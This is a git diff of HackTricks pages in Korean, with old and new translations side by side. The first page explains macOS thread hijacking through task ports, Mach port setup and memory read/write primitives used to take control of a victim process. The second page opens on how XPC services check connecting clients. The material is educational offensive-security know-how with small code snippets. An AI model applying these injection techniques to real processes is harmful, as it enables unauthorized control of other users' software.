* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## 코드
|
## Code
|
||||||
|
|
||||||
* [https://github.com/bazad/threadexec](https://github.com/bazad/threadexec)
|
* [https://github.com/bazad/threadexec](https://github.com/bazad/threadexec)
|
||||||
* [https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36](https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36)
|
* [https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36](https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36)
|
||||||
|
|
||||||
|
|
||||||
## 1. 스레드 하이재킹
|
## 1. Thread Hijacking
|
||||||
|
|
||||||
먼저, 원격 태스크에서 스레드 목록을 얻기 위해 **`task_threads()`** 함수가 태스크 포트에서 호출됩니다. 하이재킹할 스레드가 선택됩니다. 이 접근 방식은 `thread_create_running()`을 차단하는 새로운 방어 기능으로 인해 새로운 원격 스레드를 생성하는 일반적인 코드 주입 방법과 다릅니다.
|
처음에, **`task_threads()`** 함수가 원격 작업에서 스레드 목록을 얻기 위해 작업 포트에서 호출됩니다. 스레드가 하이재킹을 위해 선택됩니다. 이 접근 방식은 새로운 완화가 `thread_create_running()`을 차단하기 때문에 기존의 코드 주입 방법과 다릅니다.
|
||||||
|
|
||||||
스레드를 제어하기 위해 **`thread_suspend()`**가 호출되어 실행이 중지됩니다.
|
스레드를 제어하기 위해 **`thread_suspend()`**가 호출되어 실행이 중단됩니다.
|
||||||
|
|
||||||
원격 스레드에서 허용되는 유일한 작업은 스레드를 **중지**하고 **시작**하며, 레지스터 값을 **검색**하고 **수정**하는 것입니다. 원격 함수 호출은 레지스터 `x0`에서 `x7`을 **인수**로 설정하고, 원하는 함수를 대상으로 **`pc`**를 구성하고, 스레드를 활성화하여 시작됩니다. 반환 후 스레드가 충돌하지 않도록 보장하기 위해 반환을 감지해야 합니다.
|
원격 스레드에서 허용되는 유일한 작업은 **중지** 및 **시작**과 **레지스터** 값을 **가져오고** **수정하는** 것입니다. 원격 함수 호출은 레지스터 `x0`에서 `x7`을 **인수**로 설정하고, **`pc`**를 원하는 함수로 설정한 후 스레드를 활성화하여 시작됩니다. 반환 후 스레드가 충돌하지 않도록 하려면 반환을 감지해야 합니다.
|
||||||
|
|
||||||
한 가지 전략은 원격 스레드에 대한 **예외 핸들러를 등록**하는 것입니다. 이를 위해 `thread_set_exception_ports()`를 사용하여 `lr` 레지스터를 함수 호출 전에 잘못된 주소로 설정합니다. 이렇게 하면 예외가 함수 실행 후에 발생하여 예외 포트로 메시지가 전송되고, 스레드의 상태를 검사하여 반환 값을 복구할 수 있습니다. 또는 Ian Beer의 triple\_fetch exploit에서 채택한 대로 `lr`을 무한히 반복하는 것입니다. 그런 다음 스레드의 레지스터를 계속 모니터링하고 **`pc`가 해당 명령어를 가리킬 때까지** 기다립니다.
|
한 가지 전략은 `thread_set_exception_ports()`를 사용하여 원격 스레드에 대한 예외 처리기를 **등록**하는 것입니다. 함수 호출 전에 `lr` 레지스터를 잘못된 주소로 설정합니다. 이는 함수 실행 후 예외를 발생시켜 예외 포트에 메시지를 보내고, 스레드의 상태를 검사하여 반환 값을 복구할 수 있게 합니다. 또는 Ian Beer의 triple\_fetch 익스플로잇에서 채택한 대로 `lr`을 무한 루프에 설정할 수 있습니다. 그런 다음 스레드의 레지스터를 지속적으로 모니터링하여 **`pc`가 해당 명령어를 가리킬 때까지** 진행합니다.
|
||||||
|
|
||||||
## 2. 통신을 위한 Mach 포트
|
## 2. Mach ports for communication
|
||||||
|
|
||||||
다음 단계에서는 원격 스레드와의 통신을 용이하게하기 위해 Mach 포트를 설정합니다. 이러한 포트는 작업 간에 임의의 송신 및 수신 권한을 전송하는 데 중요한 역할을 합니다.
|
다음 단계는 원격 스레드와의 통신을 용이하게 하기 위해 Mach 포트를 설정하는 것입니다. 이러한 포트는 작업 간에 임의의 전송 및 수신 권한을 전송하는 데 중요합니다.
|
||||||
|
|
||||||
양방향 통신을 위해 로컬 및 원격 태스크에서 각각 두 개의 Mach 수신 권한이 생성됩니다. 그런 다음 각 포트에 대한 송신 권한이 상대 태스크로 전송되어 메시지 교환을 가능하게 합니다.
|
양방향 통신을 위해 두 개의 Mach 수신 권한이 생성됩니다: 하나는 로컬 작업에, 다른 하나는 원격 작업에 있습니다. 이후 각 포트에 대한 전송 권한이 상대 작업으로 전송되어 메시지 교환이 가능해집니다.
|
||||||
|
|
||||||
로컬 포트에 초점을 맞추면, 수신 권한은 로컬 태스크에 의해 보유됩니다. 포트는 `mach_port_allocate()`를 사용하여 생성됩니다. 로컬 포트로의 송신 권한을 원격 스레드로 전송하는 것이 어려운 부분입니다.
|
로컬 포트에 집중하면, 수신 권한은 로컬 작업에 의해 보유됩니다. 포트는 `mach_port_allocate()`로 생성됩니다. 이 포트에 대한 전송 권한을 원격 작업으로 전송하는 것이 도전 과제가 됩니다.
|
||||||
|
|
||||||
한 가지 전략은 `thread_set_special_port()`를 활용하여 로컬 포트의 송신 권한을 원격 스레드의 `THREAD_KERNEL_PORT`에 배치하는 것입니다. 그런 다음 원격 스레드에게 `mach_thread_self()`를 호출하도록 지시하여 송신 권한을 검색합니다.
|
한 가지 전략은 `thread_set_special_port()`를 활용하여 원격 스레드의 `THREAD_KERNEL_PORT`에 로컬 포트에 대한 전송 권한을 배치하는 것입니다. 그런 다음 원격 스레드에 `mach_thread_self()`를 호출하여 전송 권한을 가져오도록 지시합니다.
|
||||||
|
|
||||||
원격 포트의 경우, 프로세스는 기본적으로 반대로 진행됩니다. 원격 스레드는 `mach_reply_port()`를 통해 Mach 포트를 생성하도록 지시받습니다(`mach_port_allocate()`는 반환 메커니즘 때문에 적합하지 않습니다). 포트 생성 후, 원격 스레드에서 `mach_port_insert_right()`를 호출하여 송신 권한을 설정합니다. 이 권한은 그런 다음 `thread_set_special_port()`를 사용하여 커널에 저장됩니다. 로컬 태스크에서는 원격 태스크의 원격 스레드에 대한 `thread_get_special_port()`를 사용하여 원격 태스크의 새로 할당된 Mach 포트에 대한 송신 권한을 얻습니다.
|
원격 포트의 경우, 과정은 본질적으로 반대로 진행됩니다. 원격 스레드는 `mach_reply_port()`를 통해 Mach 포트를 생성하도록 지시됩니다(반환 메커니즘 때문에 `mach_port_allocate()`는 적합하지 않음). 포트가 생성되면, 원격 스레드에서 `mach_port_insert_right()`가 호출되어 전송 권한이 설정됩니다. 이 권한은 `thread_set_special_port()`를 사용하여 커널에 저장됩니다. 로컬 작업으로 돌아가서, `thread_get_special_port()`를 사용하여 원격 스레드에서 새로 할당된 Mach 포트에 대한 전송 권한을 획득합니다.
|
||||||
|
|
||||||
이러한 단계를 완료하면 Mach 포트가 설정되어 양방향 통신을 위한 기반을 마련합니다.
|
이 단계가 완료되면 Mach 포트가 설정되어 양방향 통신을 위한 기초가 마련됩니다.
|
||||||
|
|
||||||
## 3. 기본 메모리 읽기/쓰기 기본 도구
|
## 3. Basic Memory Read/Write Primitives
|
||||||
|
|
||||||
이 섹션에서는 실행 기본 도구를 활용하여 기본 메모리 읽기 및 쓰기 기본 도구를 설정하는 데 중점을 둡니다. 이 단계에서의 기본 도구는 원격 프로세스를 더욱 효과적으로 제어하기 위한 중요한 단계이지만, 현재 단계에서는 많은 목적을 제공하지 않습니다. 곧 이러한 기본 도구는 더 고급 버전으로 업그레이드될 것입니다.
|
이 섹션에서는 기본 메모리 읽기 및 쓰기 원시 작업을 설정하기 위해 실행 원시 작업을 활용하는 데 중점을 둡니다. 이러한 초기 단계는 원격 프로세스에 대한 더 많은 제어를 얻는 데 중요하지만, 이 단계의 원시 작업은 많은 용도로 사용되지 않을 것입니다. 곧 더 고급 버전으로 업그레이드될 것입니다.
|
||||||
|
|
||||||
### 실행 기본 도구를 사용한 메모리 읽기 및 쓰기
|
### Memory Reading and Writing Using Execute Primitive
|
||||||
|
|
||||||
특정 함수를 사용하여 메모리 읽기 및 쓰기를 수행하는 것이 목표입니다. 메모리 읽기에는 다음과 유사한 구조의 함수가 사용됩니다:
|
목표는 특정 함수를 사용하여 메모리 읽기 및 쓰기를 수행하는 것입니다. 메모리를 읽기 위해 다음과 유사한 구조의 함수가 사용됩니다:
|
||||||
```c
|
```c
|
||||||
uint64_t read_func(uint64_t *address) {
|
uint64_t read_func(uint64_t *address) {
|
||||||
return *address;
|
return *address;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
그리고 메모리에 쓰기 위해, 이와 유사한 구조의 함수들이 사용됩니다:
|
그리고 메모리에 쓰기 위해서는 이 구조와 유사한 함수들이 사용됩니다:
|
||||||
```c
|
```c
|
||||||
void write_func(uint64_t *address, uint64_t value) {
|
void write_func(uint64_t *address, uint64_t value) {
|
||||||
*address = value;
|
*address = value;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
이러한 함수들은 주어진 어셈블리 명령어와 대응됩니다:
|
이 함수는 주어진 어셈블리 명령어에 해당합니다:
|
||||||
```
|
```
|
||||||
_read_func:
|
_read_func:
|
||||||
ldr x0, [x0]
|
ldr x0, [x0]
|
||||||
|
@ -73,57 +74,57 @@ ret
|
||||||
```
|
```
|
||||||
### 적합한 함수 식별
|
### 적합한 함수 식별
|
||||||
|
|
||||||
일반적인 라이브러리를 스캔한 결과, 이러한 작업에 적합한 후보 함수들을 찾을 수 있었습니다:
|
일반 라이브러리를 스캔한 결과 이러한 작업에 적합한 후보가 발견되었습니다:
|
||||||
|
|
||||||
1. **메모리 읽기:**
|
1. **메모리 읽기:**
|
||||||
[Objective-C 런타임 라이브러리](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html)의 `property_getName()` 함수가 메모리 읽기에 적합한 함수로 식별되었습니다. 아래에 해당 함수의 개요가 제시되어 있습니다:
|
`property_getName()` 함수는 메모리를 읽기 위한 적합한 함수로 확인되었습니다. 함수는 아래에 설명되어 있습니다:
|
||||||
```c
|
```c
|
||||||
const char *property_getName(objc_property_t prop) {
|
const char *property_getName(objc_property_t prop) {
|
||||||
return prop->name;
|
return prop->name;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
이 함수는 `read_func`과 유사하게 동작하여 `objc_property_t`의 첫 번째 필드를 반환합니다.
|
이 함수는 `objc_property_t`의 첫 번째 필드를 반환함으로써 효과적으로 `read_func`처럼 작동합니다.
|
||||||
|
|
||||||
2. **메모리 쓰기:**
|
2. **메모리 쓰기:**
|
||||||
메모리를 쓰기 위한 미리 작성된 함수를 찾는 것은 더 어려운 과정입니다. 그러나 libxpc의 `_xpc_int64_set_value()` 함수는 다음 어셈블리어와 같이 적합한 후보입니다.
|
메모리를 쓰기 위한 미리 구축된 함수를 찾는 것은 더 어려운 일입니다. 그러나 libxpc의 `_xpc_int64_set_value()` 함수는 다음과 같은 디스어셈블리와 함께 적합한 후보입니다:
|
||||||
```c
|
```c
|
||||||
__xpc_int64_set_value:
|
__xpc_int64_set_value:
|
||||||
str x1, [x0, #0x18]
|
str x1, [x0, #0x18]
|
||||||
ret
|
ret
|
||||||
```
|
```
|
||||||
특정 주소에 64비트 쓰기를 수행하기 위해 원격 호출은 다음과 같이 구성됩니다:
|
특정 주소에서 64비트 쓰기를 수행하기 위해 원격 호출은 다음과 같이 구성됩니다:
|
||||||
```c
|
```c
|
||||||
_xpc_int64_set_value(address - 0x18, value)
|
_xpc_int64_set_value(address - 0x18, value)
|
||||||
```
|
```
|
||||||
이러한 기본 요소를 설정하면 원격 프로세스를 제어하는 데 중요한 역할을 하는 공유 메모리를 생성할 수 있습니다.
|
이러한 원시 기능이 설정되면, 원격 프로세스를 제어하는 데 있어 중요한 진전을 이루는 공유 메모리를 생성할 준비가 됩니다.
|
||||||
|
|
||||||
## 4. 공유 메모리 설정
|
## 4. 공유 메모리 설정
|
||||||
|
|
||||||
목표는 로컬 및 원격 작업 간에 공유 메모리를 설정하여 데이터 전송을 간소화하고 여러 인수를 사용하는 함수를 호출하는 것입니다. 이 접근 방식은 `libxpc`와 그 `OS_xpc_shmem` 객체 유형을 활용하는 것으로, 이는 Mach 메모리 항목 위에 구축되어 있습니다.
|
목표는 로컬 및 원격 작업 간에 공유 메모리를 설정하여 데이터 전송을 간소화하고 여러 인수를 가진 함수 호출을 용이하게 하는 것입니다. 이 접근 방식은 Mach 메모리 항목을 기반으로 하는 `libxpc`와 그 `OS_xpc_shmem` 객체 유형을 활용하는 것을 포함합니다.
|
||||||
|
|
||||||
### 프로세스 개요:
|
### 프로세스 개요:
|
||||||
|
|
||||||
1. **메모리 할당**:
|
1. **메모리 할당**:
|
||||||
- `mach_vm_allocate()`를 사용하여 공유를 위한 메모리를 할당합니다.
|
- `mach_vm_allocate()`를 사용하여 공유할 메모리를 할당합니다.
|
||||||
- `xpc_shmem_create()`를 사용하여 할당된 메모리 영역에 대한 `OS_xpc_shmem` 객체를 생성합니다. 이 함수는 Mach 메모리 항목의 생성을 관리하고 `OS_xpc_shmem` 객체의 `0x18` 오프셋에 Mach send right를 저장합니다.
|
- 할당된 메모리 영역에 대해 `xpc_shmem_create()`를 사용하여 `OS_xpc_shmem` 객체를 생성합니다. 이 함수는 Mach 메모리 항목의 생성을 관리하고 `OS_xpc_shmem` 객체의 오프셋 `0x18`에 Mach 전송 권한을 저장합니다.
|
||||||
|
|
||||||
2. **원격 프로세스에서 공유 메모리 생성**:
|
2. **원격 프로세스에서 공유 메모리 생성**:
|
||||||
- 원격 호출로 원격 프로세스에서 `OS_xpc_shmem` 객체에 대한 메모리를 할당합니다.
|
- 원격 호출을 통해 원격 프로세스에서 `OS_xpc_shmem` 객체를 위한 메모리를 할당합니다.
|
||||||
- 로컬 `OS_xpc_shmem` 객체의 내용을 원격 프로세스로 복사합니다. 그러나 이 초기 복사본은 `0x18` 오프셋에 잘못된 Mach 메모리 항목 이름을 가지고 있을 것입니다.
|
- 로컬 `OS_xpc_shmem` 객체의 내용을 원격 프로세스로 복사합니다. 그러나 이 초기 복사는 오프셋 `0x18`에서 잘못된 Mach 메모리 항목 이름을 가질 것입니다.
|
||||||
|
|
||||||
3. **Mach 메모리 항목 수정**:
|
3. **Mach 메모리 항목 수정**:
|
||||||
- `thread_set_special_port()` 메서드를 사용하여 Mach 메모리 항목에 대한 send right를 원격 작업에 삽입합니다.
|
- `thread_set_special_port()` 메서드를 사용하여 Mach 메모리 항목에 대한 전송 권한을 원격 작업에 삽입합니다.
|
||||||
- 원격 메모리 항목의 이름으로 `0x18` 오프셋에 있는 Mach 메모리 항목 필드를 덮어씁니다.
|
- 원격 메모리 항목의 이름으로 오프셋 `0x18`의 Mach 메모리 항목 필드를 덮어씁니다.
|
||||||
|
|
||||||
4. **공유 메모리 설정 완료**:
|
4. **공유 메모리 설정 완료**:
|
||||||
- 원격 `OS_xpc_shmem` 객체를 유효성 검사합니다.
|
- 원격 `OS_xpc_shmem` 객체를 검증합니다.
|
||||||
- 원격 호출로 공유 메모리 매핑을 설정합니다. (`xpc_shmem_remote()`)
|
- 원격 호출을 통해 공유 메모리 매핑을 설정합니다 `xpc_shmem_remote()`.
|
||||||
|
|
||||||
이러한 단계를 따라 로컬 및 원격 작업 간에 공유 메모리가 효율적으로 설정되어 데이터 전송이 간단해지고 여러 인수를 필요로 하는 함수를 실행할 수 있게 됩니다.
|
이 단계를 따르면 로컬 및 원격 작업 간에 공유 메모리가 효율적으로 설정되어 데이터 전송과 여러 인수를 요구하는 함수 실행이 간단해집니다.
|
||||||
|
|
||||||
## 추가 코드 스니펫
|
## 추가 코드 스니펫
|
||||||
|
|
||||||
메모리 할당 및 공유 메모리 객체 생성을 위한 코드:
|
메모리 할당 및 공유 메모리 객체 생성을 위한:
|
||||||
```c
|
```c
|
||||||
mach_vm_allocate();
|
mach_vm_allocate();
|
||||||
xpc_shmem_create();
|
xpc_shmem_create();
|
||||||
|
@ -133,48 +134,48 @@ xpc_shmem_create();
|
||||||
malloc(); // for allocating memory remotely
|
malloc(); // for allocating memory remotely
|
||||||
thread_set_special_port(); // for inserting send right
|
thread_set_special_port(); // for inserting send right
|
||||||
```
|
```
|
||||||
Mach 포트와 메모리 엔트리 이름의 세부 사항을 올바르게 처리하여 공유 메모리가 올바르게 설정되도록 해야합니다.
|
기억하세요, 공유 메모리 설정이 제대로 작동하도록 Mach 포트와 메모리 항목 이름의 세부 사항을 올바르게 처리해야 합니다.
|
||||||
|
|
||||||
|
|
||||||
## 5. 완전한 제어 달성
|
## 5. 완전한 제어 달성
|
||||||
|
|
||||||
공유 메모리를 성공적으로 설정하고 임의의 실행 능력을 획득한 경우, 우리는 사실상 대상 프로세스를 완전히 제어하게 됩니다. 이러한 제어를 가능하게 하는 주요 기능은 다음과 같습니다:
|
공유 메모리를 성공적으로 설정하고 임의 실행 기능을 얻으면, 본질적으로 대상 프로세스에 대한 완전한 제어를 얻게 됩니다. 이 제어를 가능하게 하는 주요 기능은 다음과 같습니다:
|
||||||
|
|
||||||
1. **임의의 메모리 작업**:
|
1. **임의 메모리 작업**:
|
||||||
- `memcpy()`를 호출하여 공유 영역에서 데이터를 복사하여 임의의 메모리 읽기 수행.
|
- `memcpy()`를 호출하여 공유 영역에서 데이터를 복사함으로써 임의 메모리 읽기를 수행합니다.
|
||||||
- `memcpy()`를 사용하여 데이터를 공유 영역으로 전송하여 임의의 메모리 쓰기 실행.
|
- `memcpy()`를 사용하여 공유 영역으로 데이터를 전송함으로써 임의 메모리 쓰기를 실행합니다.
|
||||||
|
|
||||||
2. **다중 인수를 사용하는 함수 호출 처리**:
|
2. **다중 인수를 가진 함수 호출 처리**:
|
||||||
- 8개 이상의 인수가 필요한 함수의 경우, 호출 규약에 따라 스택에 추가 인수를 배열합니다.
|
- 8개 이상의 인수를 요구하는 함수의 경우, 호출 규약에 따라 추가 인수를 스택에 배치합니다.
|
||||||
|
|
||||||
3. **Mach 포트 전송**:
|
3. **Mach 포트 전송**:
|
||||||
- 이전에 설정한 포트를 통해 Mach 메시지를 통해 Mach 포트를 작업 간에 전송합니다.
|
- 이전에 설정된 포트를 통해 Mach 메시지를 통해 작업 간에 Mach 포트를 전송합니다.
|
||||||
|
|
||||||
4. **파일 디스크립터 전송**:
|
4. **파일 설명자 전송**:
|
||||||
- `triple_fetch`에서 강조한 fileports를 사용하여 프로세스 간에 파일 디스크립터를 전송합니다.
|
- Ian Beer가 `triple_fetch`에서 강조한 기술인 fileports를 사용하여 프로세스 간에 파일 설명자를 전송합니다.
|
||||||
|
|
||||||
이 포괄적인 제어는 [threadexec](https://github.com/bazad/threadexec) 라이브러리에 포함되어 있으며, 피해 프로세스와 상호 작용하기 위한 자세한 구현과 사용자 친화적인 API를 제공합니다.
|
이 포괄적인 제어는 [threadexec](https://github.com/bazad/threadexec) 라이브러리에 캡슐화되어 있으며, 피해자 프로세스와의 상호작용을 위한 상세한 구현과 사용자 친화적인 API를 제공합니다.
|
||||||
|
|
||||||
## 중요한 고려 사항:
|
## 중요한 고려 사항:
|
||||||
|
|
||||||
- 시스템의 안정성과 데이터 무결성을 유지하기 위해 메모리 읽기/쓰기 작업에 `memcpy()`를 올바르게 사용하세요.
|
- 시스템 안정성과 데이터 무결성을 유지하기 위해 메모리 읽기/쓰기 작업에 `memcpy()`를 적절히 사용해야 합니다.
|
||||||
- Mach 포트 또는 파일 디스크립터를 전송할 때, 적절한 프로토콜을 따르고 리소스를 책임 있게 처리하여 정보 누출이나 의도하지 않은 액세스를 방지하세요.
|
- Mach 포트나 파일 설명자를 전송할 때는 적절한 프로토콜을 따르고 자원을 책임감 있게 처리하여 누수나 의도치 않은 접근을 방지해야 합니다.
|
||||||
|
|
||||||
이 가이드라인을 준수하고 `threadexec` 라이브러리를 활용함으로써 대상 프로세스를 세밀하게 관리하고 상호 작용할 수 있으며, 대상 프로세스를 완전히 제어할 수 있습니다.
|
이 가이드라인을 준수하고 `threadexec` 라이브러리를 활용함으로써, 프로세스를 세밀하게 관리하고 상호작용하여 대상 프로세스에 대한 완전한 제어를 달성할 수 있습니다.
|
||||||
|
|
||||||
## 참고 자료
|
## 참고 문헌
|
||||||
* [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/)
|
* [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* HackTricks에서 **회사를 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)로 이루어진 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**을** 팔로우하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,60 +1,61 @@
|
||||||
# macOS XPC 연결 프로세스 확인
|
# macOS XPC Connecting Process Check
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## XPC 연결 프로세스 확인
|
## XPC Connecting Process Check
|
||||||
|
|
||||||
XPC 서비스에 연결이 설정되면 서버는 연결이 허용되는지 확인합니다. 일반적으로 수행하는 확인 사항은 다음과 같습니다:
|
XPC 서비스에 연결이 설정되면, 서버는 연결이 허용되는지 확인합니다. 일반적으로 수행하는 확인 사항은 다음과 같습니다:
|
||||||
|
|
||||||
1. 연결하는 **프로세스가 Apple에서 제공한 Apple 서명** 인증서로 서명되었는지 확인합니다.
|
1. 연결하는 **프로세스가 Apple 서명 인증서로 서명되었는지** 확인합니다 (Apple에서만 발급).
|
||||||
* 이를 **검증하지 않으면**, 공격자는 다른 확인 사항과 일치하는 가짜 인증서를 생성하여 사용할 수 있습니다.
|
* 이 **확인이 이루어지지 않으면**, 공격자는 **가짜 인증서**를 만들어 다른 확인 사항에 맞출 수 있습니다.
|
||||||
2. 연결하는 프로세스가 **조직의 인증서**로 서명되었는지 확인합니다 (팀 ID 확인).
|
2. 연결하는 프로세스가 **조직의 인증서로 서명되었는지** 확인합니다 (팀 ID 확인).
|
||||||
* 이를 **검증하지 않으면**, Apple의 **어떤 개발자 인증서**든 서명에 사용할 수 있고 서비스에 연결할 수 있습니다.
|
* 이 **확인이 이루어지지 않으면**, Apple의 **모든 개발자 인증서**를 사용하여 서명하고 서비스에 연결할 수 있습니다.
|
||||||
3. 연결하는 프로세스에 **적절한 번들 ID**가 있는지 확인합니다.
|
3. 연결하는 프로세스가 **적절한 번들 ID를 포함하는지** 확인합니다.
|
||||||
* 이를 **검증하지 않으면**, 동일한 조직에 의해 서명된 **어떤 도구**든 XPC 서비스와 상호 작용하는 데 사용될 수 있습니다.
|
* 이 **확인이 이루어지지 않으면**, 동일한 조직에서 **서명된 도구**를 사용하여 XPC 서비스와 상호작용할 수 있습니다.
|
||||||
4. (4 또는 5) 연결하는 프로세스에 **적절한 소프트웨어 버전 번호**가 있는지 확인합니다.
|
4. (4 또는 5) 연결하는 프로세스가 **적절한 소프트웨어 버전 번호를 가지고 있는지** 확인합니다.
|
||||||
* 이를 **검증하지 않으면**, 다른 확인 사항이 적용되더라도 과거의 보안 취약한 클라이언트가 프로세스 인젝션에 취약한 상태로 XPC 서비스에 연결할 수 있습니다.
|
* 이 **확인이 이루어지지 않으면**, 오래된, 안전하지 않은 클라이언트가 프로세스 주입에 취약하여 다른 확인 사항이 있어도 XPC 서비스에 연결할 수 있습니다.
|
||||||
5. (4 또는 5) 연결하는 프로세스에 위험한 권한을 가지지 않은 강화된 런타임이 있는지 확인합니다 (임의의 라이브러리를 로드하거나 DYLD 환경 변수를 사용하는 권한).
|
5. (4 또는 5) 연결하는 프로세스가 위험한 권한이 없는 **강화된 런타임**을 가지고 있는지 확인합니다 (임의의 라이브러리를 로드하거나 DYLD 환경 변수를 사용할 수 있는 권한과 같은).
|
||||||
* 이를 **검증하지 않으면**, 클라이언트는 **코드 인젝션에 취약**할 수 있습니다.
|
1. 이 **확인이 이루어지지 않으면**, 클라이언트는 **코드 주입에 취약할 수 있습니다**.
|
||||||
6. 연결하는 프로세스가 서비스에 연결할 수 있도록 허용하는 **권한**을 가지고 있는지 확인합니다. 이는 Apple 바이너리에 적용됩니다.
|
6. 연결하는 프로세스가 서비스에 연결할 수 있는 **권한**을 가지고 있는지 확인합니다. 이는 Apple 바이너리에 적용됩니다.
|
||||||
7. **검증**은 연결하는 **클라이언트의 감사 토큰**에 **기반**해야 하며 프로세스 ID (PID)가 아니어야 합니다. 왜냐하면 전자는 **PID 재사용 공격**을 방지하기 때문입니다.
|
7. **검증**은 연결하는 **클라이언트의 감사 토큰**을 기반으로 해야 하며, 프로세스 ID (**PID**) 대신 사용해야 합니다. 이는 후자가 **PID 재사용 공격**을 방지하기 때문입니다.
|
||||||
* 개발자들은 감사 토큰 API 호출을 **거의 사용하지 않습니다**. Apple은 언제든지 변경할 수 있습니다. 또한, Mac App Store 앱에서는 비공개 API 사용이 허용되지 않습니다.
|
* 개발자는 **감사 토큰** API 호출을 **드물게 사용**합니다. 이는 **비공식적**이므로 Apple이 언제든지 **변경할 수 있습니다**. 또한, 비공식 API 사용은 Mac App Store 앱에서 허용되지 않습니다.
|
||||||
